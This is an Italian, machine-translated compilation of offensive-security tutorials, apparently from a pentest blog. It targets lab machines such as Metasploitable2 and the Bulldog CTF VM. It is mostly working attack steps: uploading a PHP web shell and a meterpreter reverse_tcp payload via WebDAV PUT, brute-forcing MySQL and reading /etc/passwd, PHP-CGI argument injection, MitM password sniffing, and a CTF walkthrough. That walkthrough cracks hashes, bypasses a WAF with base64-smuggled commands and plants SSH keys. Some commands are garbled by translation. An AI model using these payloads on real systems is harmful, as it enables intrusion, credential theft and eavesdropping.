Netcat è l'utilità che viene utilizzata per qualsiasi cosa sotto il sole che coinvolge TCP o UDP. Può aprire connessioni TCP, inviare pacchetti UDP, ascoltare su porte TCP e UDP arbitrarie, eseguire la scansione delle porte e gestire sia IPv4 che IPv6.

Per installare Netcat su Debain OS – “ sudo apt-get install netcat ”

Per scoprire quali metodi HTTP sono abilitati sul server web con netcat, basta digitare

Comando:
nc 192.168.179.142 80
OPZIONI /dav/ HTTP/1.1
Host: 192.168.179.142

Premi due volte invio!

Se osservi i campi dell'intestazione della risposta, puoi vedere che alcuni metodi potenzialmente rischiosi sono aperti come DELETE, TRACE, PROPFIND, PROPPATCH, COPY, MOVE, LOCK e UNLOCK.

Qui stiamo dimostrando l'utilizzo del metodo PUT con 7 modi diversi:

1. Sfrutta il metodo PUT con Netcat –

Per sfruttare il metodo PUT con netcat, il processo è molto semplice, basta sostituire OPTIONS con il metodo PUT.

Comando:
nc 192.168.179.142 80 PUT /dav/hacked.txt Host
HTTP/1.1 : 192.168.179.142

Premi due volte invio!

Come puoi vedere, il file  hacked.txt è stato creato con il codice di risposta 201 Creato  nella stessa directory /dav/.

2. Sfrutta il metodo PUT con BurpSuite –

Come tutti sappiamo BurpSuite è uno degli strumenti di intercettazione proxy più popolari attraverso il quale è possibile analizzare facilmente tutti i tipi di richieste GET e POST.

Burp o Burp Suite è uno strumento grafico per testare la sicurezza delle applicazioni Web. Lo strumento è scritto in Java e sviluppato da PortSwigger Security. Gli strumenti importanti all'interno di BurpSuite sono HTTP Proxy, Scanner, Intruder, Spider, Repeater, Decoder, Comparer, Extender e Sequencer.

Nel primo passaggio, intercetta la richiesta GET di http://192.168.179.142/dav/ dal tuo browser dove hai impostato il proxy manuale.

Ora fai clic destro sulla sua finestra e apparirà un elenco di opzioni come mostrato di seguito. Fare clic ulteriormente su "Invia a ripetitore ".

Guarda lo screenshot qui sotto e troverai due pannelli, rispettivamente a sinistra ea destra per la richiesta e la risposta.

Qui sostituiremo il metodo GET con il metodo PUT con il nome       .php che devi caricare/creare con il contenuto/codice dannoso.

Digita PUT /dav/      .php HTTP/1.1 nell'intestazione, caricherà il file       .php nella directory dav tramite richiesta PUT. Quindi incolla il seguente codice dannoso alla fine della richiesta di intestazione.

Codice:
<?php
system($_GET['cmd']);
?>

Nello screenshot sopra, puoi analizzare la risposta che è 201 Created , significa che il file       .php è stato caricato con il tuo contenuto dannoso.

Per verificare, basta accedere allo stesso URL nel browser “ http://192.168.179.142/dav/      .php?cmd=uname-a ” risulta la visualizzazione della versione del kernel.

Scansione dei metodi HTTP con Nikto –

Nikto è un altro scanner per server Web Open Source che esegue test completi su server Web per più elementi, inclusi oltre 6700 file/programmi potenzialmente pericolosi, controlli per versioni obsolete di oltre 1250 server e problemi specifici della versione su oltre 270 server.

Per scansionare con Nikto, digita " nikto -h http://192.168.179.142/dav/ " nel tuo terminale.

Come puoi vedere, la parte evidenziata che mostra vari metodi HTTP è consentita.

3. Sfrutta il metodo PUT con Cadaver & Metasploit Framework –

Ora è il momento di hackerare il server caricando il file dannoso PHP che genereremo con l'aiuto del comando msfvenom .

Comando:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.179.141 LPORT=4444 -f raw > shell.php

Come puoi vedere, il file dannoso  shell.php è stato creato nella directory di lavoro corrente.

Leggi anche:  MSFVENOM – Tutti gli esempi di payload – Cheatsheet  

Ora esegui lo strumento Cadaver che è già installato su ogni macchina Kali Linux. Cadaver è uno strumento a riga di comando che supporta il caricamento e il download di un file su webdav.

Per eseguire Cadaver, il comando è:

cadavere http://192.168.179.142/dav/ “

Ora sei all'interno della directory della vittima. Carica il file shell.php  che hai creato con msfvenom come mostrato di seguito:

dav:/dav/> PUT /root/shell.php

Per verificare che il file sia caricato o meno, apri “ http://192.168.179.142/dav/ “.

Ora il prossimo passo è avviare il framework metasploit e utilizzare l'exploit multi/gestore come mostrato di seguito:

Per utilizzare l'exploit multi/handler, digita i seguenti comandi nel tuo terminale:

Comandi:
use exploit/multi/handler
set LHOST 192.168.179.141
set LPORT 4444
set payload php/metrepreter/reverse_tcp
exploit

Qui puoi vedere che il tuo gestore TCP inverso è stato avviato su 192.168.179.141:4444 . Ora non appena esegui il file shell.php nel tuo browser, otterrai automaticamente la connessione inversa TCP con meterpreter shell .

Leggi anche:  Hack Windows 10 in remoto su WAN con Metasploit [Nessun port forwarding]

Digita " sysinfo " per visualizzare le informazioni di sistema del target. Ci sono molti comandi disponibili nella shell meterpreter.

Leggi anche:  Elenco dei primi 60 comandi utili di Meterpreter - Aggiornamento  

Meterpreter è un payload avanzato ed estensibile dinamicamente che utilizza stager di iniezione DLL in memoria ed è esteso sulla rete in fase di esecuzione. Comunica tramite il socket stager e fornisce un'API Ruby completa lato client. Include la cronologia dei comandi, il completamento delle schede, i canali e altro ancora.

4. Sfrutta il metodo PUT con Nmap –

Se il metodo PUT è abilitato su qualsiasi server Web, puoi anche caricare il tuo file dannoso con l'aiuto di Nmap, che è uno scanner di porte opensource e uno strumento di sfruttamento della rete.

Per caricare qualsiasi file dannoso con il tipo nmap:

Comando:
nmap -p 80 192.168.179.142 –script http-put –script-args http-put.url='/dav/      _nmap.php',http-put.file='/root/Desktop/      _nmap.php'

Qui puoi vedere che il file        _nmap.php è stato creato/caricato nella directory /dav/  .

5. Sfrutta il metodo PUT con Metasploit Framework –

Metasploit ti dà anche la possibilità di METTERE un file con ausiliario/scanner/http/http_put .

Questo modulo, ad esempio HTTP_PUT, può abusare di server Web configurati in modo errato per caricare ed eliminare contenuti Web tramite richieste HTTP PUT e DELETE.

Comando:
usa ausiliario/scanner/http/http_put

Impostare ACTION su PUT o DELETE. PUT è l'impostazione predefinita. Se il nome file non è specificato, il modulo genererà una stringa casuale per te come file .txt. Se si utilizza DELETE, è richiesto un nome file.

Comandi:
set RHOSTS 192.168.179.142
set path /dav/
set payload php/meterpreter/reverse_tcp
set filename yeah.php
set filedata file://root/Desktop/yeah.php
exploit

Come puoi vedere, il file  yeah.php è stato caricato con successo nel server web sotto il percorso http://192.168.179.142/dav/yeah.php

6. Sfrutta il metodo PUT con CURL –

Curl è un'altra famosa utility che è uno strumento da riga di comando per il trasferimento di dati utilizzando vari protocolli.

Per sfruttare il metodo PUT con Curl, il comando è:

Comando:
curl -i -X ​​PUT -H “Tipo di contenuto: testo/semplice; charset=utf-8” -d “IL TUO TESTO QUI” http://192.168.179.142/dav/youhacked.php

Come puoi vedere, il file  youhacked.php  è stato creato con il tuo testo che puoi facilmente verificare accedendo all'URL  http://192.168.179.142/dav/youhacked.php .

Puoi anche sfogliare il percorso del file con il seguente comando come mostrato di seguito:

Comando:
curl -i -X ​​PUT -H “Content-Type: application/xml; charset=utf-8″ -d @”/root/Desktop/file.php” http://192.168.179.142/dav/file.php

7. Sfrutta il metodo PUT con QuickPut Python Script –

QuickPut è un piccolo strumento da riga di comando scritto in Python che consente di caricare un file su un server utilizzando il metodo HTTP PUT.

Supporta sia l'autenticazione HTTP di base che digest, ma non risolve il problema degli aggiornamenti persi.

Per scaricare lo script QuickPut, fare riferimento a infomesh.net.

Per utilizzare QuickPut, digita il seguente comando nel tuo terminale:

Sintassi:
python QuickPut.py <file locale> <URL di destinazione>

Comando:
python QuickPut.py /root/Desktop/file.php http://192.168.179.142/dav/chetan_soni.php

MySQL Pentesting con Metasploit Framework

   

Chiunque sia stato coinvolto nell'IT per più di qualche mese ha almeno sentito parlare di MySQL. La forza trainante di MySQL è stata quella di fornire un server affidabile e ad alte prestazioni facile da configurare e utilizzare.

MySQL non è l'unico sistema di gestione di database gratuito; inoltre non è l'unico sistema di gestione di database open source. Una delle maggiori differenze è la facilità d'uso che pervade MySQL. La cordialità, a partire dal costo - gratuito a meno che non sia integrato in un altro prodotto - traspare dalla rapidità di installazione e configurazione e soddisfa il nuovo utente del database con estensioni del linguaggio SQL quasi intuitive.

Prerequisito –

  1. Macchina virtuale Metasploitable2 –  https://sourceforge.net/projects/metasploitable/files/Metasploitable2/
  2. Macchina virtuale Kali Linux   .3 –  https://www.kali.org/downloads/
  3. Indirizzo IP della macchina virtuale Metasploitable2 – 192.168.179.142
  4. Indirizzo IP della macchina virtuale Kali Linux – 192.168.179.141

Metasploitable2 è una macchina virtuale Linux intenzionalmente vulnerabile. Questa VM può essere usata per condurre corsi di formazione sulla sicurezza, testare strumenti di sicurezza ed esercitarsi con tecniche di test di penetrazione comuni.

Nei test di penetrazione, il primo passo è fare una ricognizione contro la tua macchina bersaglio.

Esegui la scansione nmap di base sulla macchina virtuale Metasploitable2 digitando il seguente comando:

Comando: nmap -sS -A -sV -p3306 192.168.179.142

La scansione gioca sempre un ruolo importante nei test di penetrazione perché attraverso la scansione, l'attaccante si assicura quali servizi e porte aperte siano disponibili per l'enumerazione e l'attacco. La scansione sopra mostra un paio di cose che mostrano che il servizio MySQL sulla porta 3306 è aperto la cui versione è " MySQL 5.0.51a-3ubuntu5 ".

Come sembra, la versione di MySQL di cui sopra, ad es. 5.0.5 che è molto vecchio e l'ultima versione di MySQL è 5.7.21.

Per ulteriori informazioni sugli exploit basati su questa versione, fare riferimento alla pagina dello scanner msyql sulla sicurezza offensiva .

1. Forza bruta con Metasploit Framework

Avvia il framework metasploit con il comando " msfconsole " ed esegui il seguente comando che tenta di eseguire un attacco di forza bruta per rubare credenziali per accesso non autorizzato.

Comando: usa ausiliario/scanner/mysql/mysql_login

Per utilizzare correttamente questo, sono necessari alcuni elenchi di parole per l'enumerazione di nome utente e password. Useremo il dizionario rockyou.txt che è già disponibile nella directory /usr/share/wordlists in formato .txt.gz che puoi ulteriormente decomprimere con l'aiuto del  comando gunzip .

Imposta le seguenti opzioni rispetto al modulo precedente.

Comandi:
set THREADS 1000
set RHOSTS 192.168.179.142
set PASS_FILE /usr/share/wordlists/rockyou.txt
set USERNAME root
set STOP_ON_SUCCESS true
set VERBOSE false
set BLANK_PASSWORDS true
run

PASS_FILE è impostato su un file che contiene possibili password MySQL.

RHOST è impostato sull'indirizzo IP di Metasploitable.

USERNAME è impostato su root. Se riusciamo a indovinare la password di root, allora possiamo raccogliere quello che vogliamo.

Sembra che l'utente root nel database non abbia una password. (" radice: ")

2. Sfruttare MySQL –

L' exploit mysql_sql può essere utilizzato per connettersi al database remoto ed eseguire la scansione del contenuto del file /etc/passwd per ottenere un elenco di utenti sul sistema.

Comando: usa ausiliario/admin/mysql/mysql_sql

Questo ha meno opzioni che devi impostare.

Comandi:
set USERNAME root
set PASSWORD ”
set RHOST 192.168.179.142
set RPORT 3306
set SQL select load_file(\'/etc/passwd\')

Esegui l'exploit e puoi vedere che ha recuperato con successo il contenuto del file /etc/passwd di fronte a te.

3. MySQL enumera gli utenti –

Questo è un altro exploit più popolare per MySQL chiamato mysql_enum che enumera tutti gli account MySQL sul sistema e i loro vari privilegi.

Comando: usa ausiliario/admin/mysql/mysql_enum

Imposta i seguenti parametri di cui ha bisogno questo exploit.

Comandi:
set USERNAME root
set PASSWORD ”
set RHOST 192.168.179.142
set RPORT 3306

Eseguire l'exploit.

Poiché abbiamo già accesso all'utente root in MySQL, non c'è bisogno di forzare altri nomi di login. Tuttavia, se ci fossero molti utenti in un database complesso, questo potrebbe produrre un tesoro di nomi utente con privilegi diversi, permettendoti di vedere diverse sezioni del database.

4. Scarica il contenuto del database MySQL –

Per connetterti con MySQL tramite terminale, digita " mysql -u root -p -h 192.168.179.142 ".

Utilizzare la funzione “ MOSTRA DATABASE; ” comando per mostrare i database disponibili.

Una volta che hai visto tutti i database, puoi sceglierne uno e iniziare a stampare le informazioni su di esso per vedere cosa puoi vedere digitando “ use owasp10; ” e per mostrare tutte le tabelle digitare “ SHOW TABLES; “.

Possiamo usare il comando describe per descrivere i campi in ogni tabella SQL, così come i tipi di dati digitando “ describe accounts; “.

Puoi anche usare il comando " mysqlshow " per eseguire il dump del contenuto del database MySQL.

Lo stesso può essere fatto anche tramite il comando " mysqldump " come mostrato di seguito.

Iniezione di argomenti PHP CGI con Metasploit Framework

   

PHP è un linguaggio di scripting generico ampiamente utilizzato, particolarmente adatto per lo sviluppo Web e può essere incorporato in HTML. Quando PHP viene utilizzato in una configurazione basata su CGI (come mod_cgid di Apache), in alcune configurazioni è possibile eseguire codice arbitrario con i privilegi del server web.

Maggiori informazioni su questa vulnerabilità –

Quando viene eseguito come CGI, PHP fino alla versione 5.3.12 e 5.4.2 è vulnerabile a una vulnerabilità di argument injection. Questo modulo sfrutta il flag -d per impostare le direttive php.ini per ottenere l'esecuzione del codice.

Avvia il framework metasploit digitando " msfconsole " nel tuo terminale. Msfconsole è l'interfaccia della riga di comando principale per MetaSploit.

Sono disponibili altre interfacce: interfacce GUI (armitage) e anche un'interfaccia web (websploit) .

Il progetto Metasploit ha contribuito con un modulo per aiutare a sfruttare questa vulnerabilità.

Per farlo, digita " use exploit/multi/http/php_cgi_arg_injection ".

Questo modulo sfrutta una vulnerabilità di argument injection in PHP fino alla versione 5.3.12 e 5.4.2 quando viene eseguito come processore CGI autonomo e sfrutta il flag -d per ottenere l'esecuzione di codice in modalità remota.

In MetaSploit ogni exploit ha una serie di opzioni da configurare per il tuo host remoto.

Se hai selezionato un modulo specifico, puoi eseguire il comando "mostra opzioni " per visualizzare quali impostazioni sono disponibili e/o richieste per quel modulo specifico.

Il comando set ti consente di configurare le opzioni e i parametri del framework per il modulo corrente con cui stai lavorando.

Comandi:
set RHOST 192.168.179.142
set RPORT 80

Eseguire l'exploit sull'host remoto digitando " exploit " o " run ".

Se tutto va bene, puoi giocare con meterpreter, digitare " sysinfo " per saperne di più sul tuo sistema operativo di destinazione.

La vulnerabilità PHP-CGI è pubblica ormai da diversi anni, ma ne stiamo ancora trovando prove sui server di produzione live.

Le opzioni di correzione e mitigazione sono piuttosto basilari:

Ed ecco lo script bash proof of concept che puoi scaricare direttamente da questo link .

Per eseguire questo script, digita " ./poc.sh <IP di destinazione> <Comando> ", ma assicurati di disporre delle autorizzazioni di esecuzione per eseguire questo script.

Fondamentalmente, lo script passa le informazioni e i comandi necessari tramite cURL al server Web vulnerabile. L'output del comando del sistema operativo viene restituito nel corpo della risposta HTTP come mostrato sopra.

Man in the Middle Attacco con Websploit Framework

   

 

Presumiamo che la maggior parte di voi sappia cos'è un attacco Man in the Middle (MitM), ma di seguito è riportato un diagramma di un attacco Man in the Middle.

Un attacco man-in-the-middle è un tipo di attacco informatico in cui un attore malintenzionato si inserisce in una conversazione tra due parti, impersona entrambe le parti e ottiene l'accesso alle informazioni che le due parti stavano cercando di scambiarsi.

Un attacco man-in-the-middle consente a un attore malintenzionato di intercettare, inviare e ricevere dati destinati a qualcun altro o non destinati a essere inviati, senza che nessuna delle parti esterne lo sappia fino a quando non è troppo tardi.

Gli attacchi man-in-the-middle possono essere abbreviati in molti modi, tra cui MITM, MitM, MiM o MIM.

Dichiarazione di non responsabilità: i nostri tutorial sono progettati per aiutare gli aspiranti pen tester/appassionati di sicurezza ad apprendere nuove competenze, ti consigliamo solo di testare questo tutorial su un sistema che appartiene solo a TE. Non accettiamo responsabilità per chiunque pensi che sia una buona idea provare a usarlo per tentare di hackerare sistemi che non ti appartengono.

Se stai cercando uno strumento in grado di scansionare i sistemi alla ricerca di vulnerabilità e oltre all'open source, pensa a WebSploit . Questo strumento appena rilasciato nella versione 3.0.0 integra un certo numero di attacchi sia per i siti che per Windows o le reti.

WebSploit è un progetto open source che viene utilizzato per scansionare e analizzare il sistema remoto al fine di trovare vari tipi di vulnerabilità. Questo strumento è molto potente e supporta molteplici vulnerabilità.

Ecco l'elenco completo dei moduli supportati da websploit:

Moduli Web –

Moduli di rete

Sfrutta i moduli

Moduli Wireless/Bluetooth

Questi sono gli attacchi disponibili in questo toolkit. Ma per alcuni attacchi hai davvero bisogno del framework metasploit.

Installazione di Websploit Framework –

Per installare websploit, digita " apt-get install websploit* " direttamente nel tuo terminale.

Puoi anche installare websploit tramite il comando git clone digitando:

Comando: git clone https://github.com/websploit/websploit

Al termine, digita " websploit " per avviare questo framework. Come puoi vedere, il banner di visualizzazione mostra alcune informazioni relative allo strumento.

Per vedere tutti i moduli, digita " mostra moduli " nel tuo terminale.

Il modulo che useremo è " network/mitm "

Diamo un'occhiata alle opzioni che dobbiamo impostare digitando " mostra opzioni ".

Possiamo vedere che dobbiamo impostare tutte le opzioni, quindi facciamolo!

Qui abbiamo usato wlan0 come interfaccia perché siamo connessi con la rete Wi-Fi. (Per vedere il nome della tua interfaccia, digita iwconfig )

Per l'IP del router, digitare " route -n " ​​nel nuovo terminale per visualizzare l'indirizzo del gateway predefinito.

Per l'IP di destinazione, puoi scansionarlo facilmente tramite Angry IP Scanner/Super Scan Tool. In questo caso, il nostro IP di destinazione è 192.168.178.21 (Win 10) e l'indirizzo del gateway predefinito è 192.168.178.1 .

Ora faremo quello che stavamo aspettando... Scappa all'attacco! Tutto quello che devi fare è digitare:  esegui  nello stesso terminale.

E puoi vedere che si aprirà un nuovo terminale popup chiamato " driftnet " che caricherà tutte le immagini del tuo obiettivo. Driftnet è lo sniffer predefinito impostato nel framework websploit.

Se vuoi cambiare il tuo strumento sniffer, digita " set SNIFFER urlsnarf " nello stesso terminale che sniffererà tutti gli URL del bersaglio.

Ecco l'output in cui puoi vedere che il tuo obiettivo sta tentando di accedere a google.com tramite il browser Chrome.

Per Dsniff, digitare " set SNIFFER dsniff ".

Dsniff è un insieme di strumenti per lo sniffing delle password e l'analisi del traffico di rete scritti dal ricercatore di sicurezza e fondatore della startup Dug Song per analizzare diversi protocolli applicativi ed estrarre informazioni rilevanti.

Nello screenshot sopra, abbiamo annusato con successo il nome utente e la password del protocollo FTP .

Come testare la vulnerabilità al crollo – Guida dettagliata        

   

Spero che tutti voi conoscano l'ultima vulnerabilità, ovvero Meltdown, che è stata scoperta in quasi tutte le CPU con processore Intel.

Queste due vulnerabilità sono fondamentalmente difetti di progettazione hardware che gli aggressori possono facilmente sfruttare per accedere a parte della memoria che dovrebbe rimanere privata consentendo loro di rubare le tue informazioni personali.

Secondo Wikipedia - " Meltdown è una vulnerabilità hardware che interessa i microprocessori Intel x86 e alcuni microprocessori basati su ARM. “.

Di conseguenza, molti server e servizi cloud sono stati interessati, così come una potenziale maggioranza di dispositivi intelligenti e dispositivi integrati che utilizzano processori basati su ARM (dispositivi mobili, smart TV e altri), inclusa un'ampia gamma di apparecchiature di rete.

Per testare la vulnerabilità al crollo in una distribuzione Linux, basta aprire il terminale e installare il seguente script tramite l'utilità git.

Comando: git clone https://github.com/paboldin/meltdown-exploit.git

Successivamente è necessario compilare lo script con l'aiuto del comando " make " come da screenshot sottostante.

Per eseguire questo script, digita " ./run.sh " nello stesso terminale che inizia effettivamente a testare la vulnerabilità del crollo.

Dallo screenshot sopra, mostra chiaramente che il sistema/macchina di cui sopra è VULNERABILE alla Vulnerabilità Meltdown.

Puoi anche testare lo stesso con un altro script che verifica anche la vulnerabilità SPECTRE insieme alla vulnerabilità MELTDOWN.

Per questo è necessario scaricare questo script ( spectre-meltdown-checker ) con l'aiuto del comando wget come da screenshot qui sotto:

Comando:  wget https://raw.githubusercontent.com/speed47/spectre-meltdown-checker/master/spectre-meltdown-checker.sh

Per eseguire questo script, digita " ./spectre-meltdown-checker.sh " nello stesso terminale.

Nota: non dimenticare di modificare le autorizzazioni del file bash.

Come puoi vedere, Spectre Variant 1 è ancora vulnerabile, gli sviluppatori del kernel Linux stanno ancora lavorando su patch che proteggeranno completamente da Spectre. Consulta la tua distribuzione Linux per ulteriori informazioni sulla disponibilità delle patch.

Ecco gli ID CVE relativi a Spectre e Meldown:

Microsoft ha anche sviluppato uno script PowerShell che ti dirà rapidamente se il tuo computer è protetto o meno. Per eseguire il test sul sistema operativo Windows 10, è necessario aprire Windows PowerShell (Admin) facendo clic con il pulsante destro del mouse sul menu Start ed Esegui come amministratore.

Digita il seguente comando:

Comando: Install-Module SpeculationControl

Premere " Y " per installare il provider NuGet e premere nuovamente " Y " per installare i moduli dal repository PSGallery.

La politica di esecuzione standard non ti consentirà di eseguire questo script. Quindi, per eseguire lo script, salverai prima le impostazioni correnti in modo da poterle ripristinare in seguito. Quindi cambierai la politica di esecuzione in modo che lo script possa essere eseguito.

Esegui i seguenti due comandi per fare ciò:

Comando: $SaveExecutionPolicy = Get-ExecutionPolicy
Comando: Set-ExecutionPolicy RemoteSigned -Scope Currentuser

Premere “ Y ” per confermare.

Quindi, per eseguire effettivamente lo script, esegui i seguenti comandi:

Comando: Import-Module SpeculationControl
Comando: Get-SpeculationControlSettings

Vedrai se il tuo PC ha il supporto hardware appropriato o meno.

Qui è necessario esaminare queste seguenti cose:

Per ripristinare le impostazioni originali del criterio di esecuzione dopo aver terminato, eseguire il comando seguente:

Comando:  Set-ExecutionPolicy $SaveExecutionPolicy -Scope Currentuser

Puoi anche testare entrambe le vulnerabilità sia Spectre che Meltdown con l'aiuto di InSpectre Tool che può essere scaricato da questo link .

L'unica soluzione per proteggersi da queste due vulnerabilità, ovvero Spectre e Meltdown, è Windows Update . L'aggiornamento di Windows che aiuta a mitigare le vulnerabilità della sicurezza dovrebbe essere installato automaticamente.

Durante l'installazione della patch per questa vulnerabilità, alcuni utenti potrebbero causare BSOD ( schermata blu della morte ), assicurati di visitare il sito Web di supporto della tua azienda AV per l'ultimo aggiornamento.

CTF – Bulldog – Soluzione passo dopo passo

   

Siamo tornati con una semplice procedura dettagliata di VulnHub CTF, ad esempio BULLDOG. Ci siamo divertiti molto con questa VM e abbiamo pensato che fosse davvero divertente e diversa dalle altre su cui abbiamo lavorato finora.

Quindi, in questo scenario, utilizzeremo Virtual Box della versione 5.2.6 con Kali Linux della versione         .1. Assicurati che entrambe le VM siano in modalità bridge in modo da poter ottenere l'IP diretto dal router stesso.

[#] Alla scoperta dell'IP –

Dopo l'installazione di entrambe le VM, la prima attività è scoprire l'indirizzo IP della macchina target, ad esempio la VM bulldog, con l'aiuto di Netdiscover, che è uno strumento di ricognizione ARP attivo/passivo ed è preinstallato in ogni macchina Kali Linux.

Nel caso in cui, se non è installato, puoi anche installare lo strumento digitando il seguente comando:

Comando: sudo apt-get install netdiscover

Digita il seguente comando per scoprire tutti gli IP nella stessa rete:

Comando: netdiscover -r 192.168.1.0/24

Qui -r definisce l'intervallo della rete.

[#] Ricerca di porte aperte –

Ora useremo Nmap per scansionare le porte aperte rispetto alla macchina target.

Comando: nmap -A -O 192.168.1.158

Dall'output precedente, abbiamo scoperto 3 porte aperte che sono 23, 80 e 8080 . A prima vista, la porta 23 viene utilizzata da Telnet, la porta 80 viene utilizzata dal server Web HTTP e la porta 8080 viene utilizzata da alcuni server Web HTTP-PROXY.

[#] Analisi delle porte –

Per la porta 23 : digitare " nc -nv 192.168.1.158 23 " nel terminale Linux.

Qui puoi vedere che SSH finge di essere Telnet in esecuzione sulla porta 23. Basta confermare lo stesso con il client openssh.

Digita " ssh -v test@192.168.1.158 -p 23 " nel nuovo terminale.

Per la porta 80 : digita " nc -nv 192.168.1.158 80 " nel tuo terminale Linux seguito da HEAD / HTTP/1.1  per verificare la risposta HTTP .

Dall'output sopra, sembra che il server web stia usando " WSGIServer/0.1 Python /2.7.12 ", una rapida ricerca su Google indica che l'applicazione web è stata sviluppata utilizzando Django Python Framework.

Per la porta 8080 : digitare " nc -nv 192.168.1.158 8080 " nel terminale Linux seguito da HEAD / HTTP/1.1

Sembra che la porta 8080 stia utilizzando lo stesso Django Python Framework.

[#] Analisi più approfondita –

Ora abbiamo due porte, ovvero 80 e 8080 , in cui è in esecuzione un'applicazione Web basata su Django Python Framework, basta aprirla nel browser: http://192.168.1.158:80/ e http://192.168.1.158:8080 / che esce con un piccolo paragrafo di avviso e un'immagine di bulldog.

Inoltre, esegui una scansione delle vulnerabilità di base con l'aiuto di Nikto, uno scanner per server Web open source.

Comando: nikto -host http://192.168.1.158/

Dalla scansione nikto, abbiamo ottenuto un'interessante directory denominata /dev/ situata in " http://192.168.1.158/dev/ ".

La pagina /dev/ mostra alcune informazioni interessanti come gli indirizzi e-mail, questi potrebbero essere i nomi utente e un collegamento a Web Shell ( http://192.168.1.158/dev/shell )

Per Web Shell, sembra che dobbiamo prima autenticarlo, quindi torna indietro e dai un'occhiata più da vicino al codice sorgente della directory /dev/ .

Puoi estrarre direttamente tutti gli indirizzi e-mail con l'aiuto del comando CURL come mostrato di seguito:

Comando: curl -s http://192.168.1.158/dev/| grep @

Capo squadra: alan@bulldogindustries.com<br><!–6515229daf8dbdc8b89fed2e60f107433da5f2cb–>
Capo squadra di riserva: william@bulldogindustries.com<br><br><!–38882f3b81f8f2bc47d9f3119155b05f954892fb –>
Front End: malik@bulldogindustries.com<br ><!–c6f7e34d5d08ba4a40dd5627508ccb55b425e279–>
Front End: kevin@bulldogindustries.com<br><br><!–0e6ae9fe8af1cd4192865ac97ebf6bda414218a9–>
Back End: ashley@bulldogindustries.com<br><!–55 3d917a396414ab99785694afd51df3a8a8a3e0–>
Back End: nick@bulldogindustries .com<br><br><!–ddf45997a7e18a25ad5f5cf222da64814dd060d5–>
Database: sarah@bulldogindustries.com<br><!–d8b8dd5e7f000b8dea26ef8428caf38c04466b3e–>

[#] Rompere gli hashish –

Sembra che ci sia una sorta di HASH memorizzato con ogni email come commento, identifichiamolo con l'aiuto dello strumento "hash-identifier" che è di nuovo uno strumento open source.

Comando: identificatore hash

Quindi è probabile che sia l'hash SHA-1, ora è il momento di decifrare l'hash con l'aiuto dello strumento " John-The-Ripper ", ma prima di utilizzare questo strumento, assicurati che tutti gli hash siano in un formato compatibile e salvati in un formato grezzo.

Comando: curl -s http://192.168.1.158/dev/| grep @> hashes      
Comando: sed -i 's/://g' hashes       && sed -i 's/<br>//g' hashes       && sed -i 's/<!–/:/g' hashes       && sed -i 's/–>//g' hashes      
Comando: cat hashes      

Qui useremo il file dizionario " rockyou.txt " che si trova in " /usr/share/wordlists/rockyou.txt.gz ".

Comando: locate rockyou.txt
Comando: gunzip /usr/share/wordlists/rockyou.txt.gz

Per decifrare gli hash con John-The-Ripper, digita il seguente comando nel tuo terminale.

Comando: john hashes       –format=Raw-SHA1 –wordlist=/usr/share/wordlists/rockyou.txt

Sembra che tra tutti gli hash, solo due siano stati craccati dallo strumento John-The-Ripper.

bulldog (Back End nick @bulldogindustries.com)
bulldoglover (Database sarah @bulldogindustries.com)

Finora, non abbiamo trovato alcuna pagina di accesso in cui possiamo utilizzare questi accessi, quindi utilizzeremo un altro strumento chiamato DIRB che è uno strumento di enumerazione web bruteforce da riga di comando .

Comando: dirb http://192.168.1.158/

Quindi questo è ciò che abbiamo trovato con lo strumento DIRB.

Accediamo alla pagina http://192.168.1.158/admin/ .

Ora prova ad accedere con " nick:bulldog " o " sarah: bulldoglover "

Ora torna alla pagina web shell http://192.168.1.158/dev/shell/ e vedrai una nuova interfaccia in cui puoi eseguire alcuni comandi Linux limitati perché lo sviluppatore ha implementato una sorta di Web Application Firewall che blocca la maggior parte dei pericolosi comandi della shell.

Ora il tuo compito è bypassare questo firewall per applicazioni Web ed enumerare ulteriori informazioni da questa pagina.

Alla fine abbiamo trovato un modo per bypassare questo firewall. Digita " echo id|sh " nello stesso campo di input.

Allo stesso modo puoi usare più comandi in questo modo " echo uname -a|sh " per trovare la versione del kernel.

Abbiamo anche creato uno script attraverso il quale puoi facilmente eseguire più comandi che aggirano effettivamente questo firewall.

Codice:

#!/bin/bash

CMD=$(echo $1|base64)

curl -s 'http://192.168.1.158/dev/shell/' \
-H 'Host: 192.168.1.158' \
-H 'User-Agent:      ' \
-H 'Cookie: csrftoken=zLYUfIbwdy78bAFmQv58sJQJZeCGNCZW; sessionid=n3smq2xbd5rn302csu1wq7qjbx6ga9ea' \
–data “csrfmiddlewaretoken=zLYUfIbwdy78bAFmQv58sJQJZeCGNCZW&command=echo '$CMD'|base64 -d|sh” \
|tail -n +40|head -n -19

Ecco alcuni elenchi di comandi che puoi usare con lo script di shell sopra.

Comando: ./webshell.sh 'uname -a'
Comando: ./webshell.sh 'uname -a;id'
Comando: ./webshell.sh 'uname -a;id;whoami'
Comando: ./webshell.sh ' uname -a;id;whoami;cat /etc/passwd|grep bash'
Comando: ./webshell.sh 'uname -a;id;whoami;cat /etc/passwd|grep bash;ls -al /home'

Inoltre, basta enumerare la directory "bulldogadmin" digitando il comando seguente:

Comando: ./webshell.sh 'ls -al /home/bulldogadmin/'

Andiamo all'interno della “ .hiddenadmindirectory ” digitando il seguente comando:

Comando: ./webshell.sh 'ls -al /home/bulldogadmin/.hiddenadmindirectory'

Ora prova a visualizzare entrambi i file con il comando cat:

Comando: ./webshell.sh 'cat /home/bulldogadmin/.hiddenadmindirectory/customPermissionApp'
Comando: ./webshell.sh 'cat /home/bulldogadmin/.hiddenadmindirectory/note'

Giochiamo per circa 5-10 minuti ma non otteniamo nulla di utile da oltre due file. Dopo pochi minuti, abbiamo trovato un cronjob personalizzato che è in esecuzione come root in background.

Comando: ./webshell.sh 'ls -al /etc/cron.d/'

E ho trovato molti cronjob in esecuzione in background. Diamo un'occhiata più da vicino al cronjob "runAV".

[#] Ottenere l'accesso SSH

Per accedere con SSH, devi aggiungere il tuo SSH per l'utente django digitando i seguenti comandi:

Comando: ./webshell.sh 'grep chiavi_autorizzate /etc/ssh/sshd_config'

Quindi abbiamo trovato le chiavi autorizzate nella posizione predefinita, quindi è sufficiente creare una directory denominata " .ssh " nel percorso /home/django .

Comando: ./webshell.sh 'mkdir /home/django/.ssh'

Ora devi spostare la tua chiave id_rsa.pub nella cartella /home/django/.ssh ma prima di spostarti, assicurati di aver generato la chiave id_rsa.pub nella tua macchina Kali Linux digitando " ssh-keygen ".

Puoi anche confermare le chiavi digitando " ls -al /root/.ssh/ "

Inoltre, è necessario spostare questo file nella rispettiva posizione:

